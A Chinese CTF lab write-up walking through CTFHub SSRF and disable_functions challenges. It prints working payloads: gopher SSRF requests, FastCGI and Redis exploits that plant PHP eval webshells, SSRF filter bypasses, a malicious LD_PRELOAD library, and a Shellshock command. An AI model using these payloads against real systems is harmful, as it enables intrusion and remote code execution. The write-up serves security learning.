解题开始

大概看了一遍就能开始了(应该)

下面是我看writeup的总结

首先先用dirsearch扫一下网站看一下有什么文件

我是直接

1
python dirsearch.py -u url

扫的太慢了(反正我没扫),直接我给出结果,发现有两个文件

1
2
/?url=file:///var/www/html/index.php
/?url=file:///var/www/html/flag.php

然后去读源码

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

// 初始化一个新的cURL会话,并将返回的会话句柄赋值给变量 $ch。
$ch = curl_init();
//使用 curl_setopt 函数设置cURL会话的选项。
//这里设置了URL选项 (CURLOPT_URL),它指定了要请求的URL。URL从 $_REQUEST['url'] 获取,这通常是一个GET或POST请求中提交的URL。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//设置是否应返回HTTP头部。这里设置为0,意味着不返回HTTP头部,只返回主体内容。
curl_setopt($ch, CURLOPT_HEADER, 0);
//这个选项指示cURL应遵循 "Location" 头部字段中的重定向。如果设置为1,cURL将自动遵循所有重定向。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
//执行cURL会话。这实际上发送了HTTP请求。
curl_exec($ch);
//关闭cURL会话并释放所有相关资源。
curl_close($ch);

flag.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

error_reporting(0);

//$_SERVER["REMOTE_ADDR"] 是一个超全局变量,它存储了访问者的 IP 地址。
//检查访问者的 IP 地址是否不是 "127.0.0.1"。
//如果访问者的 IP 地址不是 "127.0.0.1",这行代码会输出 "Just View From 127.0.0.1"。
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

//从环境变量 "CTFHUB" 中获取值,并将其存储在变量 $flag 中。环境变量是在操作系统级别设置的,并且可以通过 PHP 的 getenv 函数访问。
$flag=getenv("CTFHUB");
//将 $flag 的值传递给 PHP 的 md5 函数,该函数会返回 $flag 的 MD5 哈希值,并将结果存储在 $key 变量中。
$key = md5($flag);

//这行代码检查是否有一个名为 "key" 的 POST 参数,并且该参数的值是否与 $key 相等。
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

其实就是告诉我们如果要访问访问flag.php,我们必须要从本地访问并且需要附带正确的key

所以我们直接带上本地地址去访问flag.php

1
?url=127.0.0.1/flag.php

f12后可以找到key

看来应该是让我们输入这个key进入,从而得到flag,但是这里并没有提交的按钮啊,所以我们要自己构造post请求,将这个key发送过去。

然后,我们用gopher协议构造post请求。

在gopher协议中发送HTTP的数据,需要以下三步:

1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议

1.构造HTTP数据包(POST)

在使用 Gopher协议发送 POST请求包时,HostContent-TypeContent-Length请求头是必不可少的,但在 GET请求中可以没有。(提一嘴key的长度是你附带数据的字符串长度,但是应该都是36)

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=你的key

2.URL编码、替换回车换行为%0d%0a

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码:

这里给个工具在线URL解码编码工具_蛙蛙工具 (iamwawa.cn)

注意!!!:在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

再进行第二次 URL编码得到如下 Gopher请求内容:

因为flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,只能通过index.php页面中的curl功能向目标发送 POST请求(没看懂,有大佬懂请告知),构造如下Payload:

1
2
3
#80是默认http端口
#_POST 是一个占位符,用于指示这是一个POST请求。在实际使用中,这个占位符会被具体的请求路径所替代。
***10800/?url=gopher://127.0.0.1:80/_POST.....

输入到网址,flag在最后面

脚本

为了url编码方便,我去找了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e01fdff5c126356cb64cf2436f8c7704
"""
#注意后面一定要有回车,回车结尾表示http请求结束
#urllib.parse.quote()函数对payload进行URL编码。这是为了确保其中的特殊字符(如空格、标点符号等)在URL中正确传输。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
# 二次编码
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码

在"““和””"中间换成你的POST数据包就行了,运行文件后自动生成gopher:.....,写在?/url=goph....就行了

彩蛋

***10800/flag.php页面里面,看源码主要是为了伪装成本地访问,用burp抓包,修改host,并且附带key,就能触发彩蛋(右边返回的数据写着你发找到了Skill Egg Flag)

返回的页面伪装成这个样子

5.上传文件

这次需要上传一个文件到flag.php了.祝你好运

其实和上一题差不多,这是这题多了个上传文件的操作。

老样子对目录用dirsearch扫发现flag.php和index.php

需要注意的是flag.php的源码的意思需要127.0.0.1访问,并且如果上传文件,就能返回flag

然后去

1
/?url=127.0.0.1/flag.php

发现没有上传文件的按钮,这里其实前端修改一下就行了

1
<input type="submit" name="submit">

然后用burp拦截包,记得把host改成127.0.0.1:80(好像不用端口80也行)

把包的内容用我们上一题的脚本运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------188096258926377729394142365703
Content-Length: 264
Origin: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------188096258926377729394142365703
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST["shell"]);?>

-----------------------------188096258926377729394142365703--
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码

把输出的内容输入到url里面就能返回flag了

6.FastCGI协议

这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

这里我必须详细介绍一下FastCGI

FastCGI详解

在用PHP开发的过程中,我们常常使用Nginx或者Apache作为我们的Web服务器。但是PHP是如何与这些Web服务器通信的呢?

  • Apache把PHP作为一个模块集成到Apache进程(httpd)运行,这种mod_php的运行模式与PHP-CGI没有任何关系。
  • Nginx是通过PHP-FPM(PHP-FPM实现了FastCGI协议)来实现与PHP的通信。

要谈FastCGI就必须先说说CGI。那什么是CGI?

CGI(Common Gateway Interface:通用网关接口)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据库API 与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。–百度百科

CGI协议同 HTTP 协议一样是一个「应用层」协议,它的 功能 是为了解决 Web 服务器与 PHP 应用(或其他 Web 应用)之间的通信问题。

既然它是一个「协议」,换言之它与语言无关,即只要是实现类 CGI 协议的应用就能够实现相互的通信。

CGI协议的运行原理

  • 当用户访问我们的 Web 应用时,会发起一个 HTTP 请求。最终 Web 服务器接收到这个请求。
  • Web 服务器创建一个新的 CGI 进程。在这个进程中,将 HTTP 请求数据已一定格式解析出来,并通过标准输入和环境变量传入到 URL 指定的 CGI 程序(PHP 应用 $_SERVER)。
  • Web 应用程序处理完成后将返回数据写入到标准输出中,Web 服务器进程则从标准输出流中读取到响应,并采用 HTTP 协议返回给用户响应。

一句话就是 Web 服务器中的 CGI 进程将接收到的 HTTP 请求数据读取到环境变量中,通过标准输入转发给 PHP 的 CGI 程序;当 PHP 程序处理完成后,Web 服务器中的 CGI 进程从标准输出中读取返回数据,并转换回 HTTP 响应消息格式,最终将页面呈献给用户。然后 Web 服务器关闭掉这个 CGI 进程。

可以说 CGI 协议特别擅长处理 Web 服务器和 Web 应用的通信问题。然而,它有一个严重缺陷,对于每个请求都需要重新 fork 出一个 CGI 进程,处理完成后立即关闭。

CGI协议的缺陷

  • 每次处理用户请求,都需要重新 fork CGI 子进程、销毁 CGI 子进程。
  • 一系列的 I/O 开销降低了网络的吞吐量,造成了资源的浪费,在大并发时会产生严重的性能问题。

路由/结构图

1
2
3
4
5
6
# 访问url --> 浏览器生成HTTP请求报文 --> web server解析请求(例如nginx)
web server 是内容的分发者
当访问静态页面时,web server 会直接返回资源,例如index.html
当访问动态页面时,web server 会调用解析器,例如index.php
# --> 访问CGI
# --> CGI初始化环境,加载配置,处理请求,返回资源,结束进程 (每次处理请求后都会销毁进程,浪费资源)

旧版本的CGI性能低下,无法应用在高并发的场景,FastCGI应运而生

FastCGI协议

从功能上来讲,CGI 协议已经完全能够解决 Web 服务器与 Web 应用之间的数据通信问题。但是由于每个请求都需要重新 fork 出 CGI 子进程导致性能堪忧,所以基于 CGI 协议的基础上做了改进便有了 FastCGI 协议,它是一种常驻型的 CGI 协议。

本质上来将 FastCGI 和 CGI 协议几乎完全一样,它们都可以从 Web 服务器里接收到相同的数据,不同之处在于采取了不同的通信方式。

再来回顾一下 CGI 协议每次接收到 HTTP 请求时,都需要经历 fork 出 CGI 子进程、执行处理并销毁 CGI 子进程这一系列工作。

FastCGI 协议采用 进程间通信(IPC) 来处理用户的请求。

FastCGI也是一种通信协议(类似HTTP协议),采用CS架构,web server 为客户端—发送请求,动态语言解析器 为服务端—处理请求

路由/结构图

1
2
3
4
5
6
7
8
# 访问url --> 浏览器生成HTTP请求报文 --> web server解析请求(例如nginx)
当访问index.php时,web server 会把HTTP请求转换为FastCGI请求
# --> 转换为FastCGI协议格式
并发送给解析器,这里以php为例
# --> 发送至php-fpm process manager
php-fpm接收到请求后,把请求分配给一个worker,worker就是一个解析服务的进程(一直运行),worker根据请求信息,解析php,返回页面
例如,招新平台运行了15个worker,(不考虑nginx处理时间)同时可以处理15个请求
# --> php-fpm解析并响应

对比图:

FastCGI报文格式

定义

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
unsigned char version; //版本
unsigned char type; //类型
unsigned char requestIdB1; //请求Id
unsigned char requestIdB0;
unsigned char contentLengthB1; //负载长度
unsigned char contentLengthB0;
unsigned char paddingLength; //填充长度
unsigned char reserved; //保留字节
unsigned char contentData[contentLength]; //负载数据
unsigned char paddingData[paddingLength]; //填充数据
} FCGI_Record;

构造出的执行ls /命令的FastCGI请求( 调整过格式,不标准)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
CONTENT_LENGTH 34 # 内容长度
CONTENT_TYPE application/text # 内容格式
REMOTE_PORT 9985 # 请求端口
SERVER_NAME localhost # server名
GATEWAY_INTERFACE FastCGI/1.0 # API
SERVER_SOFTWARE php/fcgiclient # server端 软件
REMOTE_ADDR 127.0.0.1 # 请求ip
SCRIPT_FILENAME /var/www/html/index.php # 脚本文件名
SCRIPT_NAME /var/www/html/index.php # 脚本名
PHP_VALUE auto_prepend_file = php://input
REQUEST_METHOD POST # 请求方法
SERVER_PORT 8 # server端口
SERVER_PROTOCOL HTTP/1.1 # server 协议
QUERYDOCUMENT_ROOT / # 请求文件根目录
IN_VALUE allow_url_include = On # 设置 允许url包含
SERVER_ADDR 127.0.0.1 # server ip
REQUEST_URI /var/www/html/index.php # 请求资源

"<?php var_dump(system('ls /')); ?>" # 内容

参考资料

真的写的很详细CGI 和 FastCGI 协议的运行原理

然后这个是题目给的附件地址Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写-CSDN博客

通用网关接口-FastCGI介绍 - 知乎 (zhihu.com)

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写-CSDN博客

SSRF_FastCGI - R3col - 博客园 (cnblogs.com)

1.Gopherus

使用条件:

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

我是先访问了各种网站都没有反应

没办法了,只能根据提示攻击FastCGI了

用Gopherus,输入指令

1
python2 gopherus.py --exploit fastcgi

然后提示你给出一个应该存在于服务器中的文件名(最好是.php文件)
如果你不知道,按回车键,他们有默认的(我试过他的不行)

我事先用dirsearch扫过,什么都没扫出来。。。

没办法,看writeup用的是index.php,这里填这个就行了

然后提示你输入Terminal command to run,要运行的终端命令

这里我先用ls,会出现payload,但是这个payload需要再次编码

这里给出脚本

1
2
3
4
5
import urllib.parse

payload = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
tmp = urllib.parse.quote(payload)
print(tmp)

改成你的payload就行了,再把编译后的payload输入到?/url=后面就行了

确实显示了index.php文件

步骤一样重复使用Gopherus然后去把终端命令改成ls /即根目录

看到了flag文件,步骤一样重复使用Gopherus把终端命令改成cat /flag***文件就能看到flag了

2.蚁剑

其实主要还是用gohperus,步骤一样,把终端命令改成生成一个一句话木马文件就行了

1
echo "<?php eval(\$_POST[123]);?>" >1.php

生成完文件后页面会是这样

然后用蚁剑连就行了

3.利用nc 和exp

说实话我是觉得挺复杂的,网上挺多writeup的

CTFHub-技能树-SSRF - R3col - 博客园 (cnblogs.com)

7.Redis协议

这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

这里我还是给出资料

Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。

然后就是详情可点击这里浅析Redis中SSRF的利用 - 先知社区 (aliyun.com)

这题其实和上一题差不多,只是攻击对象从FastCGI改成了Redis

还是得用神器Gopherus上传WebShell

在Gopherus使用指令

1
python2 gopherus.py --exploit redis

提示你选择(ReverseShell/PHPShell),这里选择PHPShell

  1. Reverse Shell是通过远程服务器发送反向连接实现的,攻击者需要在目标系统上植入恶意代码并等待连接。而PHPShell则是通过在Web服务器上上传恶意PHPShell文件实现的,攻击者可以通过Web浏览器访问该文件来获取Shell。
  2. Reverse Shell的目的是为了获取对目标系统的远程控制权,攻击者可以通过它执行任意命令。而PHPShell通常用于上传、下载、执行文件,以及获取系统信息等,目的通常是为了进一步入侵或数据窃取。

然后还是提示你

Give web root location of server (default is /var/www/html):

给出一个给出服务器的web根位置(默认为/var/www/html):

这里默认就行了

然后给出PHPShell

1
<?php eval(_POST["shell"])?>

最后提示你

When it’s done you can get PHP Shell in /shell.php at the server with cmd as parmeter.

(当它完成后,你可以在服务器上以’ cmd '作为参数在/ Shell . PHP中获得PHP Shell。)

还是得记得把payload编译一次,还是上面的脚本

1
2
3
4
5
6
import urllib.parse

payload = "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22shell%22%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

tmp = urllib.parse.quote(payload)
print(tmp)

把得到的payload写入url中,慢慢等,最后提示你超时,没什么问题其实已经上传成功了

有意思的是我一开始就在用dirsearch扫,这里扫出来了

使用蚁剑

8.URL Bypass

从本题目开始,将介绍SSRF漏洞利用时的各种绕过方法。

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

就是输入路径必须包含http://notfound.ctfhub.com,绕过这个限制就可以了

有三个方案(准确来说是两个)

  1. 使用HTTP基础认证

    HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
    也就是:http://[email protected]形式

    简单来说,就是http://[email protected]/与http://192.168.0.1请求的都是192.168.0.1的内容。

    这里的@是主域名解析,即@符号后面直接跟域名,@符号前面的内容会被视为用户名,相当于以http://baidu.com的用户名访问192.168.0.1/flag.php,至于用户名是啥不重要,关键是@后面的才是解析的地址!

  2. 使用nip.io

    .nip.io 是一个特殊的域名后缀,它提供了一种免费且简便的方式,可以将特定格式的域名解析为对应的IP地址,可以作为应用路由的解析服务。这省去了配置本地hosts文件的步骤。

    例如,当访问http://<anything>-<IP Address>.nip.io时,它将解析到对应的IP地址<IP Address>

    • payload:?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php

  3. 利用xip.io(可以直接访问该域名,里面有详细说明)

    .xip.io 的功能是将 notfound.ctfhub.com 这个子域名解析到本地机器的IP地址 127.0.0.1

    • 尝试发现,xip.io被ban了

至于为什么要访问flag.php…因为上面的题目flag都是在这里(应该)

9.数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

不能使用十进制,我们还有八进制,十六进制(^_^),因为只ban了

1.ip转int(十进制)

在线ip转int,ip转数字-BeJSON.com

1
127.0.0.1 -> 2130706433

2.十六进制

3.八进制

4.或者用其他指向127.0.0.1的地址都行,比如localhost、http://0/

10.302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

先去看看index.php和flag.php源码

发现其实并没有ban localhost,直接用就行了

hhh,这题是302跳转,需要借助vps或者云服务器,在上面写一个可以用ip访问的文件,

1
2
3
4
5
6
<?php
if(isset($_GET['url'])){
header("Location: {$_GET['url']}");
exit;
}
?>

然后访问vps上的脚本,跳转回去即可

1
?url=http://IP:PORT/302.php?url=http://127.0.0.1/flag.php
11.DNS重绑定 Bypass

DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

附件地址:https://zhuanlan.zhihu.com/p/89426041

DNS重绑定DNS Rebinding攻击在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。
  放到这个题目的环境上来看,我们使用各种方法想来实现绕过,但是都无法访问,既然如此我们使用DNS重绑定,从DNS域名解析入手,有一个想法就是通过修该域名对应的IP,使一个域名对应两个IP,那么在多次的访问之下产生的访问效果是一样的实现IP绕过。

不小心试了下localhost直接有了。。。

应该出题人忘记改了吧

不过我换0/index.php不行

老样子各个url访问一次

解题思路应该是用DNS重绑定,我们在此做一个详解。

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass过滤掉.

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击,利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:

1、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

2、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

3、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址

4、由于已经绕过验证,所以服务器端返回访问内网资源的结果

总结来说:由于我们无法在程序运行时以毫秒为单位手动更改DNS记录,所以要想实现DNS重绑定攻击,就必须配置一个自定义的恶意DNS服务器,并设定好指定域名的解析IP,再将TTL设置为0,使其解析时在非法内网IP与合法其他IP间反复横跳。

用下面这个网站可以进行DNS重绑定

rbndr.us dns rebinding service (cmpxchg8b.com)

绑定的两个ip中保证有一个是127.0.0.1即可,我这里和192.168.0.1绑定了,结果为

7f000001.c0a80001.rbndr.us

因此我们的url=7f000001.c0a80001.rbndr.us/flag.php ,注意这个域名相当于绑定了两个ip地址(同一时刻只对应一个),由于无法确定进行dns校验时的ip是否为127.0.0.1,可能一次请求不成功,多刷新几次即可。

1.1Web进阶

1.php

0.蚁剑插件

以为下面的题大多都是antSword-lab的

能做下面的题最主要的是能成功下载插件

这个插件需要开代理

比如我用的clash,它占用的端口是7890

去设置代理

可以先测试一下成功了没有

记得点击保存

然后去看插件

记得是下载下面插件

1.

2.

下载完记得关闭代理然后保存!!!

1.查看phpinfo

直接使用插件获取信息

或者写个phpinfo.php页面上传到可以访问的位置

会自动调用phpinfo函数

1
2
3
<?php
phpinfo()
?>

1.Bypass disable_function

PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用

要查看当前已禁用的函数列表,可以在 PHP 配置文件(php.ini)中查找 disable_functions 指令,或者使用 phpinfo() 函数来获取相关信息。

要禁用某个函数,只需在 php.ini 文件中添加或修改 disable_functions 指令,并列出要禁用的函数名称。例如,要禁用 echoheader 函数,可以将以下行添加到 php.ini 文件中:

1
disable_functions = echo, header

有四种绕过 disable_functions 的手法:

  1. 攻击后端组件,寻找存在命令注入的 web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞等等
  2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system()exec()shell_exec()passthru(),偏僻的 popen()proc_open()pcntl_exec(),逐一尝试,或许有漏网之鱼
  3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通信);
  4. 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

资料👉无需sendmail:巧用LD_PRELOAD突破disable_functions

1.LD_PRELOAD

目标:获取服务器上 /flag 文件中的 flag。需要了解 Linux LD_PRELOAD 环境变量。

这里我们先了解一下LD——PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。 putenv()用来改变或增加环境变量的内容. 参数string 的格式为name=value, 如果该环境变量原先存在, 则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.

简单来说就是LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用

这题直接说了本环境来源于AntSword-Labs,去github上也能找到介绍👉官方题解

说明就是和蚁剑有关系的,这里第一种方法我就介绍蚁剑吧

前排提醒

如果操作没有反应,建议多次重复+刷新!!!

1.蚁剑

先用php页面提供的Webshell用蚁剑连接(密码是ant)

连接成功后发现了readflag文件,其实就是一个读取flag文件内容的shell脚本

然后我们去看flag文件,发现什么都没有

然后开启终端,发现什么命令都用不了

这就是disable_function吗😥

但是我们有插件😏

选择插件,然后选择模式LD_PRELOAD,点击开始

然后提示成功并且生成了.antproxy.php文件

其实这个文件也是个木马,但是绕过了LD_PRELOAD😎

然后我们用蚁剑连接这个php页面就行了

再用终端打开就发现能使用命令了,但是cat还是用不了(提示权限不够)😅

那就用tac或者使用readflag脚本就行了

2.手工

步骤

  • 生成一个我们的恶意动态链接库文件
  • 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
  • 配合php的某个函数去触发我们的恶意动态链接库文件
  • RCE(Remote Code Execution,意为远程代码执行)并获取flag

生成动态链接库文件

先写一个c文件

我知道两种写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdlib.h>
#include <stdio.h>
#include<string.h>

void payload(){ #这里写系统命令
system("/readflag >/tmp/hacker"); #调用readflag脚本,把内容写道/tmp下的hack文件里面
}

int geteuid(){
# 环境变量LD_PRELOAD如果存在先清除它
if(getenv("LD_PRELOAD") == NULL)
{
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

  1. #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    
    #__attribute__((__constructor__)) 先于main()函数调用 
    __attribute__ ((__constructor__)) void angel (void)
    {
        unsetenv("LD_PRELOAD");				   # 删除原来的环境变量
        system("/readflag > /tmp/hacker");#将所读文件放到tmp中的hack中
    }
    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9

    两个写法都行,但是我选的是第一种(虽然第二种应该更好),但是我认为第一个好理解一点

    但他们的主要思想就是先删除原本的环境变量,构建payload

    记得编译成.os文件,我是在kali里面编译的

    ```shell
    gcc -fPIC -shared 1.c -o hack.so

然后文件上传到/tmp/

利用putenv(添加环境变量)设置LD_PRELOAD为我们的恶意动态链接库文件的路径

配合php的某个函数去触发我们的恶意动态链接库文件

一般好像也会用emil,但是这里被ban了

可以通过插件查看

如果可以直接写成这样就行了

mail(“”, “”, “”, “”);

我们还有error_log()函数可以用

error_log() 函数解释

error_log(error,type,destination,headers):
当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址

1
2
3
4
<?php
putenv("LD_PRELOAD=/tmp/hack.so");#路径不要写错
error_log("",1,"","");
?>

文件上传到var/www/html/

然后去访问1.php页面,去/tmp文件下就能看到生成的hacker文件了,打开就能看到flag

这里解释一下细节

1.为什么要用getuid这个函数?

因为我们是要劫持某个某个函数,而被劫持的函数得由我们来自己实现一次,所以函数原型必须一致,这就好说了,为了减少工作量,减少复杂性,所以我们尽量选择那些没有参数的系统函数,getuid就是这样的一个函数

更多方法

这个其实和上传os文件的思路差不多Bypass disabled_functions一些思路总结 - 先知社区 (aliyun.com)

这个我试了一下,把所有文件都上传,但是没有什么反应(可能是我方法错了,会的人能教教我吗😭)

无需sendmail:巧用LD_PRELOAD突破disable_functions

2.ShellShock

利用PHP破壳完成 Bypass

推荐先看下这篇对ShellShock漏洞的讲解(好像当年确实挺严重的)破壳漏洞(Shellshock)分析CVE-2014-6271

Bash远程代码执行漏洞(CVE-2014-6271)案例分析 - Agoly - 博客园 (cnblogs.com)

漏洞原理:
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

去github上也能找到介绍👉官方题解

1.蚁剑

使用蚁剑

需要注意的是直接连好像会出错

汗一个编译器就行

然后进去发现连查看其他文件的权限都没有

但是这里我们可以使用插件绕过disable_functions,模式记得选Apache_mod_cgi

然后用终端就能找到flag了

2.手工

我找到了三个脚本

1.利用error_log函数

通过查看phpinfo发现没有ban掉error_log

然后上传脚本

error_log和mail两个函数,都可以使用,(为了避免ban掉一个)

1
2
3
4
5
6
7
8
9
//默认putenv定义的环境变量名必须以PHP_开头。error_log()函数会在执行sh -c -t -i触发payload
//sh -c -t -i:启动一个Bourne shell,让它执行一个命令字符串(这里没有提供具体的命令字符串),然后输出一个NULL字符并退出,同时保持交互式模式
<?php
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
error_log("admin",1);
//mail("admin@localhost","","","","");
?>

